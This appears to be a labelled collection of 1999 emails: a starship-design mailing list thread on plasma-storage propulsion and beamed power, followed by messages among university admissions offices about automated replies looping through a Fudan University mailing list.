starship-design-outgoing; Tue, 28 Sep 1999 13:58:35 -0700 (PDT) Received: from fep7.mail.ozemail.net (fep7.mail.ozemail.net [203.2.192.125]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id NAA00106 for ; Tue, 28 Sep 1999 13:58:33 -0700 (PDT) Received: from oemcomputer (ae06190.powerup.com.au [203.147.198.190]) by fep7.mail.ozemail.net (8.9.0/8.6.12) with SMTP id GAA27991 for ; Wed, 29 Sep 1999 06:58:30 +1000 (EST) Message-ID: <001401bf09f4$3dbe11c0$bec693cb@oemcomputer> References: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Precedence: bulk Reply-To: ""Adam Crowl"" From: ""Adam Crowl"" Sender: owner-starship-design@lists.uoregon.edu To: Subject: starship-design: Planet Mapper on the Cheap Date: Wed, 29 Sep 1999 06:58:38 +1000 Hi Guys... Here's another really interesting design... for very light-weight 25 metre space-telescopes, a hundred of which would make up an interferometer cluster and allow terrestrial planets to be imaged [10,000 pixel images] around other stars... all for about $6 billion. Spread over ten years, and able to do useful work from the word go, the system would make planet-mapping routine, and could easily be in place by 2020. http://peaches.niac.usra.edu/studies/9801/9801Final/BekeyFinal.pdf this one really excites me because it could happen and it'd be cheap compared with the hundreds of billions needed for a Planet Imager built the usual way... Adam >From VM Wed Sep 29 11:45:11 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2075"" ""Wednesday"" ""29"" ""September"" ""1999"" ""17:17:30"" ""+1000"" ""Adam Crowl"" ""ajcrowlx2@ozemail.com.au"" nil ""63"" ""Re: starship-design: Plasma Drive..."" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 2075 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id AAA24108 for starship-design-outgoing; Wed, 29 Sep 1999 00:17:28 -0700 (PDT) Received: from fep9.mail.ozemail.net (fep9.mail.ozemail.net [203.2.192.103]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id AAA24098 for ; Wed, 29 Sep 1999 00:17:26 -0700 (PDT) Received: from oemcomputer (ae05108.powerup.com.au [203.147.197.108]) by fep9.mail.ozemail.net (8.9.0/8.6.12) with SMTP id RAA29336 for ; Wed, 29 Sep 1999 17:17:22 +1000 (EST) Message-ID: <001b01bf0a4a$b1b74960$6cc593cb@oemcomputer> References: <4.1.19990928231735.01a16800@www.urly-bird.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 Precedence: bulk Reply-To: ""Adam Crowl"" From: ""Adam Crowl"" Sender: owner-starship-design@lists.uoregon.edu To: ""starship design"" Subject: Re: starship-design: Plasma Drive... Date: Wed, 29 Sep 1999 17:17:30 +1000 Hi SD, That's a bloody good Idea Kevin. Beamed power without the need for totally beamed power, just a kind of top up. A pure microwave system never struck me as safe, but a plasma storage system has an advantage... Adam ----- Original Message ----- From: Kevin Houston To: Adam Crowl Sent: Wednesday, September 29, 1999 2:56 PM Subject: Re: starship-design: Plasma Drive... > Hmm, > > Very interesting. I like that it is microwave powered. You could make a > really nice beamed launch vehicle. A little bit of water to start things > off, then breathe air until you clear the stratosphere, and then use > whatever reaction mass you are using (I suggest water). The whole time, > you can continue to add energy, so that the craft has full power when it > reaches space. > > The power station stays on the ground, next to the Hydroelectric plant (or > whatever) that generates the power. > > Kevin > > At 06:27 AM 9/29/99 +1000, you wrote: > >Hi SD, > > > >Well here's the URL for the Final Report on the Stable Plasma power storage > >concept... > > > >http://peaches.niac.usra.edu/studies/9801/9801Final/SewardFinal.pdf > > > >...it requires Adobe Acrobat 3.0. It seems to have great potential and the > >plasma could be powered up by any old energy source, via a microwave > >injector or some such. Theoretically a stable plasma could be put in a jet > >engine and the aircraft would require NO fuel, and still have enough power > >to travel around the world! It'd just compress and heat normal air... > >Applied to a space launcher the savings could be immense, and applied to a > >Mars mission the mass would go from ~ 600 t [split between three launches] > >to one launch of about 120 t! That's an 80% saving in mass and God knows how > >much in equipment and development. > > > >Ultimately it could go into a system using small sub-plasmas for thrust and > >achieve maybe 60,000 s Isp... I can see real potential for this coupled with > >a Bussard fusor for high speed Deep Space missions... > > > >Adam > > > > >From VM Wed Sep 29 11:45:11 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2469"" ""Wednesday"" ""29"" ""September"" ""1999"" ""10:58:56"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""53"" ""Re: starship-design: Plasma Drive..."" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 2469 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id JAA17710 for starship-design-outgoing; Wed, 29 Sep 1999 09:51:00 -0700 (PDT) Received: from main.jetnet.ab.ca (root@main.jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id JAA17702 for ; Wed, 29 Sep 1999 09:50:59 -0700 (PDT) Received: from jetnet.ab.ca (bfranchuk@dialin39.jetnet.ab.ca [207.153.6.39]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id KAA29539 for ; Wed, 29 Sep 1999 10:50:57 -0600 (MDT) Message-ID: <37F24550.6E2116E8@jetnet.ab.ca> X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.2.10 i586) X-Accept-Language: en MIME-Version: 1.0 References: <4.1.19990928231735.01a16800@www.urly-bird.com> <001b01bf0a4a$b1b74960$6cc593cb@oemcomputer> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship design Subject: Re: starship-design: Plasma Drive... Date: Wed, 29 Sep 1999 10:58:56 -0600 Adam Crowl wrote: > > Hi SD, > > That's a bloody good Idea Kevin. Beamed power without the need for totally > beamed power, just a kind of top up. A pure microwave system never struck me > as safe, but a plasma storage system has an advantage... > > Very interesting. I like that it is microwave powered. You could make a > > really nice beamed launch vehicle. A little bit of water to start things > > off, then breathe air until you clear the stratosphere, and then use > > whatever reaction mass you are using (I suggest water). The whole time, > > you can continue to add energy, so that the craft has full power when it > > reaches space. > > > > The power station stays on the ground, next to the Hydroelectric plant (or > > whatever) that generates the power. > > >to travel around the world! It'd just compress and heat normal air... > > >Applied to a space launcher the savings could be immense, and applied to > Mars mission the mass would go from ~ 600 t [split between three > launches to one launch of about 120 t! That's an 80% saving in mass and God knows > how much in equipment and development. > Ultimately it could go into a system using small sub-plasmas for thrust > and achieve maybe 60,000 s Isp... I can see real potential for this coupled > with a Bussard fusor for high speed Deep Space missions... > I don't think the plasma will scale to make a large space launcher possible. My guess is still a air launched pseudo SSTO space plane with a payload in the 2-3 ton range for low earth orbit. The problem is scaling and heat flow. I suspect a external field of some kind will be needed to keep the plasma stable for energy addition and removal. ( Mr Fusion of ""Back to the future"" comes to mind here for a successful reactor size wise ). The heat produced from say a 70% efficient engine still has to fed through small area. Assuming a 10^9 J? plasma we are looking at about 3 feet diameter with a 1 foot hole. That's a lot of heat and external forces wanting to push the field out of shape. I wonder how the field would explode if pushed out of shape? Lots of nasty X-rays is my guess. quick calculations ... 2 ton payload 3 ton unmanned craft ... Isp = 6,000. g=32 mi=5 tons v 30,000 ft/sec Mf = (e(V/(g*isp)-1)Mi = 1 ton. Ben. I wonder if C4H would work for fuel? -- ----------------------------------------------------------------- ""Everything should be made as simple as possible, but not simpler."" Albert Einstein >From VM Wed Sep 29 13:34:32 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2383"" ""Wednesday"" ""29"" ""September"" ""1999"" ""14:35:13"" ""-0500"" ""Kevin Houston"" ""Kevin@urly-bird.com"" nil ""60"" ""Re: starship-design: Plasma Drive..."" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 2383 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id MAA00868 for starship-design-outgoing; Wed, 29 Sep 1999 12:38:06 -0700 (PDT) Received: from web12.ntx.net (web12.ntx.net [209.1.144.158]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id MAA00862 for ; Wed, 29 Sep 1999 12:38:04 -0700 (PDT) Received: from liberty (ip15.minneapolis5.mn.pub-ip.psi.net [38.27.48.15]) by web12.ntx.net (8.8.5/8.8.5) with SMTP id MAA12100 for ; Wed, 29 Sep 1999 12:39:01 -0700 (PDT) Message-Id: <4.1.19990929140841.019fd070@www.urly-bird.com> X-Sender: web121aa@www.urly-bird.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 In-Reply-To: <37F24550.6E2116E8@jetnet.ab.ca> References: <4.1.19990928231735.01a16800@www.urly-bird.com> <001b01bf0a4a$b1b74960$6cc593cb@oemcomputer> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Kevin Houston From: Kevin Houston Sender: owner-starship-design@lists.uoregon.edu To: starship design Subject: Re: starship-design: Plasma Drive... Date: Wed, 29 Sep 1999 14:35:13 -0500 At 10:58 AM 9/29/99 -0600, Ben Franchuk wrote: >I don't think the plasma will scale to make a large space launcher possible. >My guess is still a air launched pseudo SSTO space plane with a payload in the >2-3 ton >range for low earth orbit. The problem is scaling and heat flow. I suspect a >external field of some kind will be needed to keep the plasma stable for energy >addition Not only that, but you would want one on-board for emergencies, in case you had a ""Flame-out"". So I think that an external elctro-magnetic device should be built in to the containment vessel. >and removal. ( Mr Fusion of ""Back to the future"" comes to mind here for a >successful reactor >size wise ). The heat produced from say a 70% efficient engine still has >to fed through small area. I wonder if the air-flow could be directed in such a way as to couple with the rotational component of the plasma, so as to help keep it stable, instead of breaking it. >Assuming a 10^9 J? plasma we are looking at about 3 feet diameter with a 1 >foot hole. >That's a lot of heat and external forces wanting to push the field out of >shape. I wonder >how the field would explode if pushed out of shape? Lots of nasty X-rays is my >guess. Cherenkov radiation? It would be one hell of an EMP wouldn't it? I'll bet it will be spread out over the EM spectrum in a gaussian shape with some characteristic frequency peak. >quick calculations ... 2 ton payload 3 ton unmanned craft ... Isp = 6,000. g=32 >mi=5 tons >v 30,000 ft/sec >Mf = (e(V/(g*isp)-1)Mi = 1 ton. >Ben. >I wonder if C4H would work for fuel? Any gas/liquid should work as well as any other. Assuming you mean methane, it would combust in the reaction chamber while in flight, adding a little kick, but the main gas for the atmospheric portion will have to be plain old air. Once out in space, you'd have to bring your own O2 to combust the CH4, and that costs extra weight. I think plain old water would be the best. You could build the water tank around the plasma, to provide extra sheilding if the plasma collapsed, Then the heat leakage from the plasma will help warm the water and keep it liquid out in space. What would happen if you threw one these plasma rings at someone? How would you do that, and how could you make sure the field collapsed when it reached it target? That energy has to go somewhere.... Kevin >From VM Wed Sep 29 14:17:38 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""624"" ""Wednesday"" ""29"" ""September"" ""1999"" ""15:22:07"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""16"" ""starship-design: more stable Plasma usage."" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 624 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id OAA27235 for starship-design-outgoing; Wed, 29 Sep 1999 14:14:25 -0700 (PDT) Received: from main.jetnet.ab.ca (root@main.jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id OAA27218 for ; Wed, 29 Sep 1999 14:14:23 -0700 (PDT) Received: from jetnet.ab.ca (bfranchuk@dialin46.jetnet.ab.ca [207.153.6.46]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id PAA12063 for ; Wed, 29 Sep 1999 15:14:21 -0600 (MDT) Message-ID: <37F282FF.5DA8EBC9@jetnet.ab.ca> X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.2.10 i586) X-Accept-Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" Subject: starship-design: more stable Plasma usage. Date: Wed, 29 Sep 1999 15:22:07 -0600 > What would happen if you threw one these plasma rings at someone? How > would you do that, and how could you make sure the field collapsed when it > reached it target? That energy has to go somewhere.... > Kevin It sounds like kevin has invented the phaser weapon. Large plasma ring to feed tiny plasma rings to be shot into a target. 1) small high density ring -- stun with EM pulse. 2) low density ring -- pain/wound 3) med density ring -- kill ----------------------------------------------------------------- ""Everything should be made as simple as possible, but not simpler."" Albert Einstein",0,1 Eunice Donnelly ,cslist@fudan.edu,"Thu, 26 Aug 1999 16:29:42 -0800",Question re E-mail messages,"I have received several email messages such as the one below. This is the University of Idaho Admissions Office (email: admappl@uidaho.edu) and I have no idea why I am receiving these messages. The messages should not be forwarded to this office since we did not make any inquiries to which you are responding. Please check your information and forward your response directly to the student making the inquiry. I also received an email message from another school who was getting the same messages sent to this office, and that school wanted to know why they were getting these messages also. I would appreciate a response from you. Eunice Donnelly, Admissions Office Univeristy of Idaho Moscow ID admappl@uidaho.edu ------- Forwarded Message Follows ------- Date sent: Thu, 26 Aug 1999 13:59:46 -0700 To: cslist@fudan.edu From: Graduate Admissions Subject: Re: Application Form Request Dear Prospective Applicant: Thank you for your inquiry about graduate study at the University of California, Santa Cruz. Please be advised that UCSC greatly values the participation of scholars from diverse nations and cultures in our various graduate programs, and we therefore actively solicit applications for admission from foreign applicants. Unfortunately, recent fiscal problems in the University of California have made it very difficult for us to offer much financial support to foreign applicants. (Departments may recommend offers of available financial support based on merit.) It is strongly recommended that international applicants seek scholarship support from their own government. ***To receive complete program information and a formal application for admission, please write to us at UC Santa Cruz, Division of Graduate Studies, 1156 High Street, Santa Cruz, CA 95064. Indicate the program to which you will apply, and include an $8.50 (U.S.) money order payable to UC Regents. Applications and program information will not be mailed until we have received the $8.50 money order. You may obtain information on our graduate programs, general application information and the links to complete an on-line application or download an application at: http://graddiv-19.ucsc.edu/GradStudies/index.html Graduate Admissions prefers to receive applications for Fall 2000 after September 1st, 1999. Because it normally takes much longer to process international applications, you should submit your application well before the program's deadline. Information for prospective students from other countries: http://www.admissions.ucsc.edu/ucpubs/ips-top.html Sincerely, Katelyn Haynes Graduate Admissions UC Santa Cruz >Please send you request to cse-gradinfo@cse.buffalo.edu > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! Sincerely, Katelyn Haynes Graduate Admissions 1156 High St. Santa Cruz, CA 95064 (831) 459-5905 ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! Karen Luther School of Graduate Studies Utah State University ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ************************************************* Eunice E. Donnelly, Admin. Assistant Undergraduate Admissions Office University of Idaho Moscow, ID 83844-3133 Telephone: 1-208-885-6326 or 1-888-884-3246 E-mail: euniced@uidaho.edu ************************************************ ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 Chris Przirembel ,cslist@fudan.edu,"Thu, 26 Aug 1999 21:28:40 -0400",Fwd: Question re E-mail messages,"I have the same question and request. Chris Przirembel >Delivered-To: m7-cslist@fudan.edu >From: ""Eunice Donnelly"" >Organization: University of Idaho >To: cslist@fudan.edu >Date: Thu, 26 Aug 1999 16:29:42 -0800 >Subject: Question re E-mail messages >Priority: normal >X-mailer: Pegasus Mail for Windows (v3.01d) > >I have received several email messages such as the one below. This is the >University >of Idaho Admissions Office (email: admappl@uidaho.edu) and I have no idea >why I am >receiving these messages. The messages should not be forwarded to this >office since >we did not make any inquiries to which you are responding. Please check your >information and forward your response directly to the student making the >inquiry. > >I also received an email message from another school who was getting the same >messages sent to this office, and that school wanted to know why they were >getting >these messages also. > >I would appreciate a response from you. > >Eunice Donnelly, Admissions Office >Univeristy of Idaho >Moscow ID >admappl@uidaho.edu > > >------- Forwarded Message Follows ------- >Date sent: Thu, 26 Aug 1999 13:59:46 -0700 >To: cslist@fudan.edu >From: Graduate Admissions >Subject: Re: Application Form Request > >Dear Prospective Applicant: > >Thank you for your inquiry about graduate study at the >University of California, Santa Cruz. Please be advised that >UCSC greatly values the participation of scholars from diverse >nations and cultures in our various graduate programs, and we >therefore actively solicit applications for admission from >foreign applicants. Unfortunately, recent fiscal problems in >the University of California have made it very difficult for us >to offer much financial support to foreign applicants. (Departments may >recommend offers of available financial support based on merit.) It is >strongly recommended that international applicants seek scholarship >support from their own government. > >***To receive complete program information and a formal >application for admission, please write to us at UC Santa >Cruz, Division of Graduate Studies, 1156 High Street, >Santa Cruz, CA 95064. Indicate the program to which you will >apply, and include an $8.50 (U.S.) money order payable to >UC Regents. Applications and program information will not >be mailed until we have received the $8.50 money order. > >You may obtain information on our graduate programs, general >application information and the links to complete an on-line >application or download an application at: > > http://graddiv-19.ucsc.edu/GradStudies/index.html > >Graduate Admissions prefers to receive applications for Fall 2000 after >September 1st, 1999. Because it normally takes much longer to process >international applications, you should submit your application well before >the program's deadline. > >Information for prospective students from other countries: >http://www.admissions.ucsc.edu/ucpubs/ips-top.html > >Sincerely, >Katelyn Haynes >Graduate Admissions >UC Santa Cruz > >>Please send you request to cse-gradinfo@cse.buffalo.edu >> >> >>________________ >>Email Forwarding Service Brought To You By: http://www.bn3.com. >>We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > >Sincerely, >Katelyn Haynes >Graduate Admissions >1156 High St. >Santa Cruz, CA 95064 >(831) 459-5905 > > > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > >Karen Luther >School of Graduate Studies >Utah State University > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > >************************************************* >Eunice E. Donnelly, Admin. Assistant >Undergraduate Admissions Office >University of Idaho >Moscow, ID 83844-3133 >Telephone: 1-208-885-6326 or 1-888-884-3246 >E-mail: euniced@uidaho.edu >************************************************ > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > Christian E.G. Przirembel,Ph.D. Associate Dean for Research and Graduate Studies College of Engineering and Science 114 Riggs Hall Clemson University Clemson, SC 29634-0901 (Voice) (864) 656-3200 (Fax) (864) 656-0859 ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 Mail Delivery Subsystem ,westall@mailhost.cs.clemson.edu,"Thu, 26 Aug 1999 22:11:59 -0400",Returned mail: User unknown,"The original message was received at Thu, 26 Aug 1999 22:11:54 -0400 (EDT) from [216.101.25.190] ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- There were delivery errors for one or more of the recipients. No such user or alias: mepherso. 550 ... User unknown",0,0 Computer Systems Lab ,Mike Westall ,"Thu, 26 Aug 1999 21:12:01 -0500",[CSL #52500] (Hopefully) the LAST msg to fudan.edu,"Greetings. (This is an automated response. There is no need to reply.) Your message regarding: [CSL #52500] (Hopefully) the LAST msg to fudan.edu has been received and assigned a request number of 52500. In order help us track the progress of this request, we ask that you include the string: [CSL #52500] (exactly as it appears -- with the square brackets) in the subject line of any further mail about this particular request. For example: Subject: [CSL #52500] (Hopefully) the LAST msg to fudan.edu You may do this simply by replying to this email. For your convenience, a copy of your original mail is at the end of this message. If you would like to speak with somebody in person, the Computer Systems Lab is located in room 2350 and its normal office hours are: Mon-Fri - 8:00AM-12:00 noon, 1:00PM-5:00PM While classes are in session, there will be someone in the CSL to assist with system problems during the additional hours of 8-10PM, Mon-Thurs and 1-3PM, weekends. Thank You, Computer Systems Lab ====================================================================== Received: from lucy.cs.wisc.edu (lucy.cs.wisc.edu [128.105.6.15]) by hudson.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id VAA00508 for ; Thu, 26 Aug 1999 21:11:55 -0500 (CDT) Received: from mailgw.bn3.com ([216.101.25.190]) by lucy.cs.wisc.edu (8.9.2/8.9.2) with SMTP id VAA14182 for ; Thu, 26 Aug 1999 21:11:53 -0500 (CDT) Received: (qmail 11099 invoked by uid 508); 27 Aug 1999 02:10:40 -0000 Delivered-To: m7-cslist@fudan.edu Received: (qmail 11097 invoked from network); 27 Aug 1999 02:10:39 -0000 Received: from citron.cs.clemson.edu (HELO cs.clemson.edu) (130.127.48.6) by softdnserror with SMTP; 27 Aug 1999 02:10:39 -0000 Received: from jmw.cs.clemson.edu (jmw [130.127.48.24]) by cs.clemson.edu (8.9.3/8.9.3) with ESMTP id WAA22949; Thu, 26 Aug 1999 22:11:36 -0400 (EDT) From: Mike Westall Received: (from westall@localhost) by jmw.cs.clemson.edu (8.9.3/8.9.3) id WAA01370; Thu, 26 Aug 1999 22:11:36 -0400 (EDT) Date: Thu, 26 Aug 1999 22:11:36 -0400 (EDT) Message-Id: <199908270211.WAA01370@jmw.cs.clemson.edu> To: cslist@fudan.edu, rutgers@ces.clemson.edu Subject: [CSL #52500] (Hopefully) the LAST msg to fudan.edu I have tried to avoid contributing to this problem but it now looks like it will go on forever if I don't inject one more message. The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU If you are interested in the ""why"" continue to read the message I sent earlier. I plan to send Mr. Gao a message that he and any other students who use this time-wasting spam attack that he can forget about receiving materials from Clemson. >I have gotten two of these today. One from SUNY Buffalo and one >from UCSC. (I also got an ""original"" from China) > >As near as I can tell here is what is happening: >Fudan has a mail distributer that Mr. Gao sends a message to >and the distributer sends the message to EVERY CS grad program >in the good ole USofA (maybe multiple messages!) > >Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall >at Clemson inadvertently >sends their canned responses to cslist@fudan.edu rather than >gyqin@fundan.edu... then their reply is reflected back to everybody >on the original list and to make matters worse, Mr. Gao never >sees it and so he may try again! > >I don't think we will EVER stop this Chinese spam and so it would >appear that any of us who respond should be REALLY careful not to >respond to what looks like a list! > >Mike Westall >Professor of Computer Science and >Director of Graduate Affairs >Dept. of Computer Science >Clemson University > > >>Delivered-To: m7-cslist@fudan.edu >>Date: 25 Aug 1999 03:13:15 -0000 >>From: Gao Yongqin >>To: cslist@fudan.edu >>Subject: Application Form Request >> >>To Who It May Concern, >> >>I am an applicant for the Ph. D. program of Computer Science of your >>esteemed University with financial aid in Fall'2000. And now I am graduate >>student of Fudan University,P.R. China.Can you do me a favor to send >>the application form to the address below. MW ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ======================================================================",0,1 LSU ECE Grad Info ,westall@mailhost.cs.clemson.edu,"Thu, 26 Aug 1999 21:12:13 -0500",Re: (Hopefully) the LAST msg to fudan.edu,"This is an automatic answering service that allows you to get more information about our program and prepare material for a formal application ELECTRICAL AND COMPUTER ENGINEERING LOUISIANA STATE UNIVERSITY INSTRUCTIONS FOR e-mail APPLICANTS You can get information about our program from our homepage on the WEB http://www.ee.lsu.edu You can also download information using our FTP server location ftp.ee.lsu.edu/gradinfo You can also obtain information using e-mail as follows send e-mail message ecegrad@ee.lsu.edu put in the subject line ONE of the following code words computers info on the area of computer engineering electronics info on the area of materials and electronics power info on electric power and power electronics systems info on communications, signal processing and automatic control labs info on some of the research facilities finance info on financial assistance faculty faculty names, areas of interest and e-mail addressess preapplication to receive an electronic pre-application recommendation to receive an electronic recommendation form ---------------------------------------------------------- You MUST complete and e-mail the pre application form to eceapply@ee.lsu.edu Make sure that ALL data are completed, especially the information about test scores and academic ranking. TOGETHER with the pre application form, e-mail a STATEMENT OF PURPOSE indicating which area of our graduate program is of particular interest to you and why. Briefly summarize the qualifications that would make you suitable for an assistanship (research and/or teaching) Ask three professors that know you academically to send us letters of recommendation If feasible, download from our site the postscript file with letter of recommendation form, make three copies of it and ask your professors to mail them directly to GRADUATE ADVISOR ELECTRICAL AND COMPUTER ENGINEERING LOUISIANA STATE UNIVERSITY BATON ROUGE, LA 70803-5901 Alternatively, send an email message to ecegrad@ee.lsu.edu put in the subject line put the word recommendation You will receive a plain text form that your professors can complete and mail. For the sake of speed, YOUR PROFESSOR CAN E-MAIL the completed form to us at eceapply@ee.lsu.edu. If e-mail is used, it MUST be supplemented by a letter from your major professor with his or her signature. ONCE WE HAVE RECEIVED ALL THE MATERIAL REQUESTED ABOVE, WE WILL MAKE A PRELIMINARY EVALUATION AND IF APPLICABLE WE WILL SEND YOU ALL THE MATERIAL NECESSARY FOR A FORMAL APPLICATION ",0,1 iuadmit@endor.admissions.indiana.edu,westall@cs.clemson.edu,"Thu, 26 Aug 1999 21:13:23 -0000",(Hopefully) the LAST msg to fudan.edu,"Thanks for your interest! This is an auto-return message to confirm that the Office of Admissions has received your email. Due to our high volume of messages, please allow 3 to 5 working days for a response. If you requested that materials be sent to you, please allow 2-4 weeks for them to arrive. Call us at 812-855-0661 (International Admissions, 812-855-4306) if you have immediate questions. You can also visit our website at: http://www.indiana.edu/~iuadmit ",0,1 Mike Westall ,"cslist@fudan.edu, rutgers@ces.clemson.edu","Thu, 26 Aug 1999 22:11:36 -0400",(Hopefully) the LAST msg to fudan.edu,"I have tried to avoid contributing to this problem but it now looks like it will go on forever if I don't inject one more message. The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU If you are interested in the ""why"" continue to read the message I sent earlier. I plan to send Mr. Gao a message that he and any other students who use this time-wasting spam attack that he can forget about receiving materials from Clemson. >I have gotten two of these today. One from SUNY Buffalo and one >from UCSC. (I also got an ""original"" from China) > >As near as I can tell here is what is happening: >Fudan has a mail distributer that Mr. Gao sends a message to >and the distributer sends the message to EVERY CS grad program >in the good ole USofA (maybe multiple messages!) > >Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall >at Clemson inadvertently >sends their canned responses to cslist@fudan.edu rather than >gyqin@fundan.edu... then their reply is reflected back to everybody >on the original list and to make matters worse, Mr. Gao never >sees it and so he may try again! > >I don't think we will EVER stop this Chinese spam and so it would >appear that any of us who respond should be REALLY careful not to >respond to what looks like a list! > >Mike Westall >Professor of Computer Science and >Director of Graduate Affairs >Dept. of Computer Science >Clemson University > > >>Delivered-To: m7-cslist@fudan.edu >>Date: 25 Aug 1999 03:13:15 -0000 >>From: Gao Yongqin >>To: cslist@fudan.edu >>Subject: Application Form Request >> >>To Who It May Concern, >> >>I am an applicant for the Ph. D. program of Computer Science of your >>esteemed University with financial aid in Fall'2000. And now I am graduate >>student of Fudan University,P.R. China.Can you do me a favor to send >>the application form to the address below. MW ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 Academic Auto Reply ,westall@cs.clemson.edu,"Thu, 26 Aug 1999 21:13:10 -0500",Re: (Hopefully) the LAST msg to fudan.edu,"Your message to academic@cs.uiuc.edu has been received. Please do not send duplicate messages; your mail is being processed. This is the Department of Computer Science at the University of Illinois at Urbana-Champaign. If you wish to reach another department or campus you must contact them directly. We can not forward your message to other departments or campuses. Please read below concerning response to any inquiries. SPECIAL NOTES: THE DEADLINE FOR SUMMER OR FALL 99 PASSED AS OF 1/15/99. THIS IS A FIRM DEADLINE, NO APPLICATIONS WILL BE ACCEPTED PAST THE DEADLINE. LETTERS CONCERNING ADMISSIONS DECISIONS ARE BEING MAILED AS QUICKLY AS POSSIBLE BY OUR STAFF UPON NOTIFICATION FROM THE ADMISSIONS COMMITTEE. THE DEPT'S POLICY DOES NOT ALLOW NOTIFICATION VIA EMAIL OR TELEPHONE INQUIRIES. ""GRAD CONNECT"", THE NEW ONLINE WEB BASED GRADUATE APPLICATION WILL BE AVAILABLE BY LATE OCTOBER 1999. APPLICANTS MAY STILL USE THE PAPER APPLICATIONS, BUT WE ARE ENCOURAGING THOSE APPLICANTS FOR FALL 2000 OR LATER TO USE THE WEB APPLICATION. THE CS WEB SITE WILL CONTINUE TO LINK TO THE GRADUATE COLLEGE WEB SITE TO DOWNLOAD APPLICATION MATERIALS. THE CS WEB SITE IS LISTED BELOW IN SECTION ""B"". A. If your inquiry was concerning the status of an application already sent for an upcoming term, please note that letters concerning status or admissions recommendations are always mailed directly to applicants. The volume of applications for each term is overwhelming at times, so please be patient concerning the status of your application file. Letters are sent as quickly as possible. Applicants will be notified of admissions decisions as soon as they are available from the committee. These are also sent via mail. Because of security reasons, the department's policy is not to disclose the status or admission decision in any other way, except by regular or air mail. No status reports or admissions decisions will be given on the telephone. This message will be the only response you will receive via email concerning the status of your file or admission decisions. You may, if you wish, designate someone on this campus to act as your representative concerning your application status or decision of our admissions committee. To do this you must send a signed letter to the department with the name of the person acting as your representative. This signed letter must come directly from you to the Department of Computer Science. It may be sent via regular mail or faxed to (217) 244-6073 to the attention of: ""Director of Gradate Programs"". It will be kept on file with your application. Your approved representative must appear in person when they wish information concerning your application. There may be times during processing when no information can or will be given to your representative because of the nature of our processing. Please make them aware of this. B. If you are requesting application materials please note that we are no longer able to send hardcopies of the application materials in the quantity that we once did because of increased printing and mailing costs. However, the materials are available to download from our web site (www.cs.uiuc.edu). There is a link to 